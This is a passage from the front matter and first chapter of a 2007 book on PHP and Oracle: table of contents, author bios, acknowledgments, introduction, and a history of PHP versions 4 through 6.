■CHAPTER 30 From Databases to Datatypes . . . . . . . . . . . . . . . . . . . . . . . . . . . 513 Creating and Managing Tablespaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . 513 Tablespace Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 513 Creating a New Tablespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 515 Understanding Oracle Datatypes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516 Built-in Datatypes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516 ANSI-Supported Datatypes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522
Gilmore_Bryla_770-2FRONT.fm Page xxi Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
Creating and Maintaining Tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 523 Creating a Table . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 523 Using Constraints . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 525 Setting Column Defaults . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 529 Creating a Table Using a Query Against Another Table . . . . . . . . . 529 Modifying Table Characteristics . . . . . . . . . . . . . . . . . . . . . . . . . . . . 529 Creating and Maintaining Indexes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 531 Using B-tree Indexes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 531 Using Bitmap Indexes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 532 Creating and Using Sequences . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 532 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 534
■CHAPTER 31 Securing Oracle Database XE . . . . . . . . . . . . . . . . . . . . . . . . . . . 535 Security Terminology Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 535 Security First Steps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 536 Understanding Database Authentication . . . . . . . . . . . . . . . . . . . . . . . . . 537 Database Authentication Overview . . . . . . . . . . . . . . . . . . . . . . . . . . 537 Database Administrator Authentication . . . . . . . . . . . . . . . . . . . . . . 537 User Accounts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 540 Creating Users . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 540 Altering Users . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 542 Dropping Users . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 542 Becoming Another User . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 543 User-Related Data Dictionary Views . . . . . . . . . . . . . . . . . . . . . . . . . 543 Understanding Database Authorization Methods . . . . . . . . . . . . . . . . . . 544 Profile Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 544 Using System Privileges . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 549 Using Object Privileges. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 551 Creating, Assigning, and Maintaining Roles . . . . . . . . . . . . . . . . . . 553 Using Database Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 558 Auditing Locations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 558 Statement Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 559 Privilege Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 561 Schema Object Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 562 Protecting the Audit Trail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 563 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 563
xxi
Gilmore_Bryla_770-2FRONT.fm Page xxii Thursday, August 2, 2007 3:24 PM
xxii
■C O N T E N T S
■CHAPTER 32 PHP’s Oracle Functionality . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565 Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565 Using Database Connections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565 Connecting to the Database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 566 Database Connection Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 567 Disconnecting from the Database . . . . . . . . . . . . . . . . . . . . . . . . . . . 570 Retrieving and Modifying Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 570 Preparing, Binding, and Executing Statements . . . . . . . . . . . . . . . . 571 Retrieving Table Rows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 573 Inserting Rows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 575 Modifying Rows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 578 Deleting Rows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579 Counting Rows Selected or Affected . . . . . . . . . . . . . . . . . . . . . . . . 581 Retrieving Database Metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 581 Viewing Database Characteristics . . . . . . . . . . . . . . . . . . . . . . . . . . 582 Viewing User Tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 583 Viewing Table Columns and Column Characteristics . . . . . . . . . . . 584 Using Other Database Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 587 oci_error() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 587 oci_password_change() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 588 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 589
■CHAPTER 33 Transactions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 591 Using Transactions: Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 591 Understanding Transaction Components . . . . . . . . . . . . . . . . . . . . . . . . . 592 Explicit COMMIT Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 592 Implicit COMMIT Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 594 Explicit ROLLBACK Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 594 The SAVEPOINT Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 595 Performing Transactions Using PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 597 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 600
■CHAPTER 34 Using HTML_Table with Advanced Queries . . . . . . . . . . . . . 601 Using HTML_Table . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 601 Installing HTML_Table . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 602 Creating a Simple Table . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 603 Creating More Readable Row Output . . . . . . . . . . . . . . . . . . . . . . . . 605 Creating a Table from Database Data . . . . . . . . . . . . . . . . . . . . . . . 606
Gilmore_Bryla_770-2FRONT.fm Page xxiii Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
Leveraging Subqueries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 607 Performing Comparisons with Subqueries . . . . . . . . . . . . . . . . . . . 608 Determining Existence with Subqueries . . . . . . . . . . . . . . . . . . . . . 609 Database Maintenance with Subqueries . . . . . . . . . . . . . . . . . . . . . 610 Generalizing the Output Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 610 Sorting Output . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 612 Creating Paged Output . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 614 Listing Page Numbers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 617 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 619
■CHAPTER 35 Using Views . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 621 Introducing Views . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 621 Creating and Executing User Views . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 622 Modifying a View . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 625 Deleting a View . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 626 Updating a View . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 626 Other View Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 627 Data Dictionary Views . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 627 Dynamic Performance Views. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 629 Using Views to Restrict Data Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . 629 Incorporating Views into Web Applications . . . . . . . . . . . . . . . . . . . . . . . 630 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 631
■CHAPTER 36 Oracle PL/SQL Subprograms . . . . . . . . . . . . . . . . . . . . . . . . . . . . 633 Should You Use PL/SQL Subprograms? . . . . . . . . . . . . . . . . . . . . . . . . . . 633 Subprogram Advantages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 634 Subprogram Disadvantages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 634 How Oracle Implements Subprograms . . . . . . . . . . . . . . . . . . . . . . . . . . . 635 Creating a Stored Procedure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 635 Parameters . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 637 Declaring and Setting Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . 638 PL/SQL Constructs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639 Creating and Using a Stored Function . . . . . . . . . . . . . . . . . . . . . . . . . . . 644 Modifying, Replacing, or Deleting Subprograms . . . . . . . . . . . . . . . . . . . 644 Integrating Subprograms into PHP Applications . . . . . . . . . . . . . . . . . . . 645 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 647
xxiii
Gilmore_Bryla_770-2FRONT.fm Page xxiv Thursday, August 2, 2007 3:24 PM
xxiv
■C O N T E N T S
■CHAPTER 37 Oracle Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 649 Introducing Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 649 Taking Action Before an Event . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 650 Taking Action After an Event . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 650 Before Triggers vs. After Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . 651 Oracle’s Trigger Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 652 Understanding Trigger Events . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 652 Creating a Trigger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 652 Viewing Existing Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 656 Modifying or Deleting a Trigger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 657 Leveraging Triggers in PHP Applications . . . . . . . . . . . . . . . . . . . . . . . . . 658 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 660
■CHAPTER 38 Indexes and Optimizing Techniques . . . . . . . . . . . . . . . . . . . . 661 Understanding Oracle Index Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 661 B-tree Indexes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 662 Bitmap Indexes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 663 Creating, Dropping, and Maintaining Indexes . . . . . . . . . . . . . . . . . . . . . 663 Monitoring Index Usage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 668 Using Oracle Text . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 669 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 673
■CHAPTER 39 Importing and Exporting Data . . . . . . . . . . . . . . . . . . . . . . . . . . . 675 Exporting Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 675 Using the SPOOL Command . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 675 Exporting Using GUI Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 676 Importing Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 680 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 685
Gilmore_Bryla_770-2FRONT.fm Page xxv Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
■CHAPTER 40 Backup and Recovery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 687 Backup and Recovery Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . 687 Multiplexing Redo Log Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 688 Multiplexing Control Files. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 690 Enabling ARCHIVELOG Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 691 Backing Up the Database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 693 Manual Backups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 693 Automatic Backups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 693 Recovering Database Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 694 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 696
■INDEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 697
xxv
Gilmore_Bryla_770-2FRONT.fm Page xxvi Thursday, August 2, 2007 3:24 PM
Gilmore_Bryla_770-2FRONT.fm Page xxvii Thursday, August 2, 2007 3:24 PM
About the Authors
■W. JASON GILMORE has been obsessing over all things open source for more than ten years, with a primary focus on Web development technologies. He has been extensively published in publications such as Developer.com, TechTarget, and Linux Magazine, with his writings adopted for use within the United Nations and Ford Foundation educational programs. Jason is the author of four books, including the best-selling Beginning PHP and MySQL 5, Second Edition (http://www.beginningphpandmysql.com/), published by Apress. Jason spends his days running Apress’s open source program and his evenings writing, coding, and consulting. He’s a founding board member of CodeMash (http://www.codemash.org/), an organization dedicated to educating the development community. When not in front of the computer, Jason can typically be found dreaming up home-remodeling projects, playing chess, and making homemade pasta. In his effort to occasionally get away from the keyboard, he recently bought, of all things, a piano.
■BOB BRYLA is an Oracle 9i and 10g Certified Professional with more than 20 years of experience in database design, database application development, training, and database administration. He is an Internet database analyst and Oracle DBA at Lands’ End, Inc., in Dodgeville, Wisconsin. He is the author of several other Oracle DBA books for both the novice and seasoned professional.
xxvii
Gilmore_Bryla_770-2FRONT.fm Page xxviii Thursday, August 2, 2007 3:24 PM
Gilmore_Bryla_770-2FRONT.fm Page xxix Thursday, August 2, 2007 3:24 PM
About the Technical Reviewer
■MATT WADE is a programmer, database developer, and system administrator. He currently works for a large financial firm by day and freelances by night. He has experience programming in several languages, though he most commonly utilizes PHP and C. On the database side of things, he regularly uses MySQL and Microsoft SQL Server. As an accomplished system administrator, he regularly has to maintain Windows servers and Linux boxes and prefers to deal with FreeBSD. Matt resides in Jacksonville, Florida, with his wife, Michelle, and their three children, Matthew, Jonathan, and Amanda. When not working, Matt can be found fishing, doing something at his church, or playing some video game. Matt was the founder of Codewalkers.com, a leading resource for PHP developers, and ran the site until 2007.
xxix
Gilmore_Bryla_770-2FRONT.fm Page xxx Thursday, August 2, 2007 3:24 PM
Gilmore_Bryla_770-2FRONT.fm Page xxxi Thursday, August 2, 2007 3:24 PM
Acknowledgments
A
lthough it’s the author who tends to receive all the credit, this material would never have seen the light of day without the tireless efforts of a truly talented supporting cast. Project managers Tracy Brown-Collins and Kylie Johnston deftly guided us through the wilderness from the very beginning, attempting to keep us on schedule despite our best efforts to do otherwise. Technical reviewer Matt Wade tracked down countless issues and provided invaluable feedback. Copy editor Jennifer Whipple did a fantastic job turning our gibberish into English. Editor and Oracle expert Jonathan Gennick helped improve both the book’s instructional and technical approaches throughout. I’d also like to especially thank Oracle oracle Bob Bryla for joining me on this long but exciting project. You did a tremendous job, and I look forward to working with you again! Of course, this book wouldn’t exist without the amazing contributions of the open source community and the groundbreaking efforts of the Oracle Corporation. Thank you for making such amazing software available to the world. I’d like to thank Apress cofounder and publisher Gary Cornell, assistant publisher Dominic Shakeshaft, associate publisher Grace Wong, assistant publisher Jeff Pepper, and my other Apress colleagues for yet another opportunity to work with the greatest publisher on the planet! Finally, I’d like to thank my friends and family for their best attempts to occasionally pry me away from the laptop. At least you tried! W. Jason Gilmore Columbus, Ohio I would like to thank the many people at Apress for helping me along this new and winding road, especially Jonathan Gennick for convincing me to get on board in the first place, Kylie Johnston for her relentless but appreciated schedule reminders, Matt Wade for seeing things during the technical edit that would have slipped by me otherwise, Jennifer Whipple for reminding me of all those pesky grammar rules from college that I have long forgotten, and Kelly Winquist for making me appreciate Adobe Acrobat Professional. Thanks also to all of my professional colleagues, both past and present, who provided me with inspiration, guidance, courage, and many other intangibles without which this book would not be possible. The list is long, but I would be remiss if I did not mention my co-workers, friends, and managers at Lands’ End who provided expertise, advice, and M&Ms: Phil DeKok, Brook Swenson, Martha Graber, Joe Johnson, Karen Shelton, and Amy Rees. Bob Bryla
xxxi
Gilmore_Bryla_770-2FRONT.fm Page xxxii Thursday, August 2, 2007 3:24 PM
Gilmore_Bryla_770-2FRONT.fm Page xxxiii Thursday, August 2, 2007 3:24 PM
Introduction
M
ahatma Gandhi once famously said, “First they ignore you, then they laugh at you, then they fight you, then you win.” Although there’s not yet any clear winner, the software industry seems to be following a similar path. Although the open source movement began back in the 1970s due to Richard Stallman’s printer-borne frustrations in an MIT computer lab, it wasn’t until the late 1990s that the community-driven approach to software development began to make any significant waves in the business environment. And with it came gasps of both horror and hilarity among the proprietary software elite. After all, a bunch of volunteers could hardly produce code of a quality approaching, let alone surpassing, that which is built in the hallowed cathedrals of software development, right? Such guffaws rang increasingly loudly despite numerous clear successes in the open source community, such as the Apache dominating position in the Web server market and Linux’s meteoric rise to become one of the world’s most popular operating systems. But soon it became apparent this approach did work after all, as was evidenced by the rapid adoption of open source solutions for commonplace tasks such as code editing, FTP transfer, file compression, databasing, and word processing. The commercial software industry responded with overt attempts to discredit the competing open source competitors, highlighting feature deficiencies, scaling problems, lack of traditional user support, and anything else that would justify its products’ often hefty price tags. Yet more recently, many traditional software developers are coming to the conclusion that a more cooperative attitude must be adopted if they are going to survive, let alone compete, in this brave new world. Many have even determined that open source is actually a beneficial part of the ecosystem and are making great strides toward not only making sure their software interoperates with open source projects but also offering considerable contributions by way of resources and even code. One of the most exciting such instances of the opportunities that can arise from such efforts is the ability to use PHP, an open source project that also happens to be the world’s most popular programming language for dynamic Web development, with Oracle, a proprietary database that also happens to be the world’s most popular solution for managing data. Although for some time it has been possible to use PHP and Oracle together, only recently have these efforts really begun to pay off because of increased activities in both camps by way of not only improvements to the interface but also to the creation of learning resources, documentation, and other utilities. It seems as with most things in life, the success of the software development industry does not lie squarely within one extreme approach but rather somewhere in between. We hope this book will highlight the riches that can be wrought from a successful collaboration between the two.
Who This Book Is For Although this book presumes the reader has no prior experience using PHP or Oracle, seasoned users of these technologies may find it equally satisfactory because the authors have strived to create a book that strikes a balance between tutorial and reference. Our goal is to provide you with a resource that can be repeatedly referred to as you progress from a novice to an experienced developer.
xxxiii
Gilmore_Bryla_770-2FRONT.fm Page xxxiv Thursday, August 2, 2007 3:24 PM
xxxiv
■I N T R O D U C T I O N
Although basic introductions are often provided, this book does not seek to teach you fundamental programming concepts. After all, the book is not titled Beginning Programming with PHP and Oracle. And it does not teach you HTML and Cascading Style Sheets (CSS). If you are a programming novice or are not yet versed in the aforementioned Web technologies, consider picking up one or several of the fine Apress books covering these topics.
Downloading the Code Experimenting with the code found in this book is the most efficient way to understand the concepts presented within it. For your convenience, a ZIP file containing all of the examples is freely available for download from http://www.apress.com/.
Contacting the Authors Jason loves corresponding with readers and invites you to e-mail him at
[email protected]. Follow his latest activities at http://www.wjgilmore.com/. To contact Bob Bryla, you can e-mail him at
[email protected].
Gilmore_Bryla_770-2C01.fm Page 1 Friday, June 29, 2007 8:12 PM
CHAPTER 1 ■■■
Introducing PHP
I
n many ways the PHP language is representative of the stereotypical open source project, created to meet a developer’s otherwise unmet needs and refined over time to meet the needs of its growing community. As a budding PHP developer, it’s important you possess some insight into how the language has progressed, as it will help you to understand the language’s strengths, and to some extent the reasoning behind its occasional idiosyncrasies. Additionally, because the language is so popular, having some understanding of the differences between the versions—most notably versions 4, 5, and 6—will help when evaluating Web hosting providers and PHP-driven applications for your own needs. To help you quickly get up to speed in this regard, this chapter will get you acquainted with PHP’s features and version-specific differences. By the conclusion of this chapter, you’ll learn the following: • How a Canadian developer’s Web page traffic counter spawned one of the world’s most popular scripting languages • What PHP’s developers did to reinvent the language, making version 5 the best yet released • Why PHP 6 is going to further propel PHP’s adoption in the enterprise • Which features of PHP attract both new and expert programmers alike
■Note
At the time of publication, PHP 6 was still a beta release, although many of the features are stable enough that they can safely be discussed throughout the course of the book. But be forewarned; some of these features could change before the final version is released.
History The origins of PHP date back to 1995 when an independent software development contractor named Rasmus Lerdorf developed a Perl/CGI script that enabled him to know how many visitors were reading his online résumé. His script performed two tasks: logging visitor information, and displaying the count of visitors to the Web page. Because the Web as we know it today was still young at that time, tools such as these were nonexistent, and they prompted e-mails inquiring about Lerdorf’s scripts. Lerdorf thus began giving away his toolset, dubbed Personal Home Page (PHP). The clamor for the PHP toolset prompted Lerdorf to continue developing the language, with perhaps the most notable early change being a new feature for converting data entered in an HTML form into symbolic variables, encouraging exportation into other systems. To accomplish this, he opted to continue development in C code rather than Perl. Ongoing additions to the PHP toolset culminated in November 1997 with the release of PHP 2.0, or Personal Home Page/Form Interpreter 1
Gilmore_Bryla_770-2C01.fm Page 2 Friday, June 29, 2007 8:12 PM
2
CHAPTER 1 ■ INTRODUCING PHP
(PHP/FI). As a result of PHP’s rising popularity, the 2.0 release was accompanied by a number of enhancements and improvements from programmers worldwide. The new PHP release was extremely popular, and a core team of developers soon joined Lerdorf. They kept the original concept of incorporating code directly alongside HTML and rewrote the parsing engine, giving birth to PHP 3.0. By the June 1998 release of version 3.0, more than 50,000 users were using PHP to enhance their Web pages. Development continued at a hectic pace over the next two years, with hundreds of functions being added and the user count growing in leaps and bounds. At the beginning of 1999, Netcraft (http://www.netcraft.com/), an Internet research and analysis company, reported a conservative estimate of a user base of more than 1 million, making PHP one of the most popular scripting languages in the world. Its popularity surpassed even the greatest expectations of the developers, as it soon became apparent that users intended to use PHP to power far larger applications than originally anticipated. Two core developers, Zeev Suraski and Andi Gutmans, took the initiative to completely rethink the way PHP operated, culminating in a rewriting of the PHP parser, dubbed the Zend scripting engine. The result of this work was in the PHP 4 release.
■Note
In addition to leading development of the Zend engine and playing a major role in steering the overall development of the PHP language, Suraski and Gutmans are cofounders of Zend Technologies Ltd. (http:// www.zend.com/). Zend is the most visible provider of products and services for developing, deploying, and managing PHP applications. Check out the Zend Web site for more about the company’s offerings, as well as an enormous amount of free learning resources.
PHP 4 On May 22, 2000, roughly 18 months after the first official announcement of the new development effort, PHP 4.0 was released. Many considered the release of PHP 4 to be the language’s official debut within the enterprise development scene, an opinion backed by the language’s meteoric rise in popularity. Just a few months after the major release, Netcraft estimated that PHP had been installed on more than 3.6 million domains. PHP 4 added several enterprise-level improvements to the language, including the following: Improved resource handling: One of version 3.X’s primary drawbacks was scalability. This was largely because the designers underestimated how rapidly the language would be adopted for large-scale applications. The language wasn’t originally intended to run enterprise-class Web sites, and continued interest in using it for such purposes caused the developers to rethink much of the language’s mechanics in this regard. Object-oriented support: Version 4 incorporated a degree of object-oriented functionality, although it was largely considered an unexceptional and even poorly conceived implementation. Nonetheless, the new features played an important role in attracting users used to working with traditional object-oriented programming (OOP) languages. Standard class and object development methodologies were made available in addition to features such as object overloading and run-time class information. A much more comprehensive OOP implementation has been made available in version 5 and is introduced in Chapter 6. Native session-handling support: HTTP session handling, available to version 3.X users through the third-party package PHPLIB (http://phplib.sourceforge.net) was natively incorporated into version 4. This feature offers developers a means for tracking user activity and preferences with unparalleled efficiency and ease. Chapter 18 covers PHP’s session-handling capabilities.
Gilmore_Bryla_770-2C01.fm Page 3 Friday, June 29, 2007 8:12 PM
CHAPTER 1 ■ IN TRODUCING PHP
Encryption: The MCrypt (http://mcrypt.sourceforge.net) library was incorporated into the default distribution, offering users both full and hash encryption using encryption algorithms including Blowfish, MD5, SHA1, and TripleDES, among others. Chapter 21 delves into PHP’s encryption capabilities. ISAPI support: ISAPI support offered users the ability to use PHP in conjunction with Microsoft’s IIS Web server. Chapter 2 shows you how to install PHP on both the IIS and Apache Web servers. Native COM/DCOM support: Another bonus for Windows users is PHP 4’s ability to access and instantiate COM objects. This functionality opened up a wide range of interoperability with Windows applications. Native Java support: In another boost to PHP’s interoperability, support for binding to Java objects from a PHP application was made available in version 4.0. Perl Compatible Regular Expressions (PCRE) library: The Perl language has long been heralded as the reigning royalty of the string parsing kingdom. The developers knew that powerful regular expression functionality would play a major role in the widespread acceptance of PHP and opted to simply incorporate Perl’s functionality rather than reproduce it, rolling the PCRE library package into PHP’s default distribution (as of version 4.2.0). Chapter 9 introduces this important feature in great detail and offers a general introduction to the often confusing regular expression syntax. In addition to these features, literally hundreds of functions were added to version 4, greatly enhancing the language’s capabilities. Many of these functions are discussed throughout the course of the book. PHP 4 represented a gigantic leap forward in the language’s maturity, offering new features, power, and scalability that swayed an enormous number of burgeoning and expert developers alike. Yet the PHP development team wasn’t content to sit on their hands for long and soon set upon another monumental effort, one that could establish the language as the 800-pound gorilla of the Web scripting world: PHP 5.
PHP 5 Version 5 was yet another watershed in the evolution of the PHP language. Although previous major releases had enormous numbers of new library additions, version 5 contains improvements over existing functionality and adds several features commonly associated with mature programming language architectures: Vastly improved object-oriented capabilities: Improvements to PHP’s object-oriented architecture is version 5’s most visible feature. Version 5 includes numerous functional additions such as explicit constructors and destructors, object cloning, class abstraction, variable scope, and interfaces, and a major improvement regarding how PHP handles object management. Chapters 6 and 7 offer thorough introductions to this topic. Try/catch exception handling: Devising custom error-handling strategies within structural programming languages is, ironically, error-prone and inconsistent. To remedy this problem, version 5 supports exception handling. Long a mainstay of error management in many languages, such as C++, C#, Python, and Java, exception handling offers an excellent means for standardizing your error-reporting logic. This convenient methodology is introduced in Chapter 8. Improved XML and Web Services support: XML support is now based on the libxml2 library, and a new and rather promising extension for parsing and manipulating XML, known as SimpleXML, has been introduced. In addition, a SOAP extension is now available. In Chapter 20, these two extensions are introduced, along with a number of slick third-party Web Services extensions.
3
Gilmore_Bryla_770-2C01.fm Page 4 Friday, June 29, 2007 8:12 PM
4
CHAPTER 1 ■ INTRODUCING PHP
Native support for SQLite: Always keen on choice, the developers added support for the powerful yet compact SQLite database server (http://www.sqlite.org/). SQLite offers a convenient solution for developers looking for many of the features found in some of the heavyweight database products without incurring the accompanying administrative overhead. PHP’s support for this powerful database engine is introduced in Chapter 22.
■Note
The enhanced object-oriented capabilities introduced in PHP 5 resulted in an additional boost for the language: it opened up the possibility for cutting-edge frameworks to be created using the language. Chapter 25 introduces you to one of the most popular frameworks available today, namely the Zend Framework (http:// framework.zend.com/).
With the release of version 5, PHP’s popularity hit what was at the time a historical high, having been installed on almost 19 million domains, according to Netcraft. PHP was also by far the most popular Apache module, available on almost 54 percent of all Apache installations, according to Internet services consulting firm E-Soft Inc. (http://www.securityspace.com/).
PHP 6 At press time, PHP 6 was in beta and scheduled to be released by the conclusion of 2007. The decision to designate this a major release (version 6) is considered by many to be a curious one, in part because only one particularly significant feature has been added— Unicode support. However, in the programming world, the word significant is often implied to mean sexy or marketable, so don’t let the addition of Unicode support overshadow the many other important features that have been added to PHP 6. A list of highlights is found here: • Unicode support: Native Unicode support has been added. • Security improvements: A considerable number of security-minded improvements have been made that should greatly decrease the prevelance of security-related gaffes that to be frank aren’t so much a fault of the language, but are due to inexperienced programmers running with scissors, so to speak. These changes are discussed in Chapter 2. • New language features and constructs: A number of new syntax features have been added, including, most notably, a 64-bit integer type, a revamped foreach looping construct for multidimensional arrays, and support for labeled breaks. Some of these features are discussed in Chapter 3. At press time, PHP’s popularity was at a historical high. According to Netcraft, PHP has been installed on more than 20 million domains. According to E-Soft Inc., PHP remains the most popular Apache module, available on more than 40 percent of all Apache installations. So far, this chapter has discussed only version-specific features of the language. Each version shares a common set of characteristics that play a very important role in attracting and retaining a large user base. In the next section, you’ll learn about these foundational features.
■Note
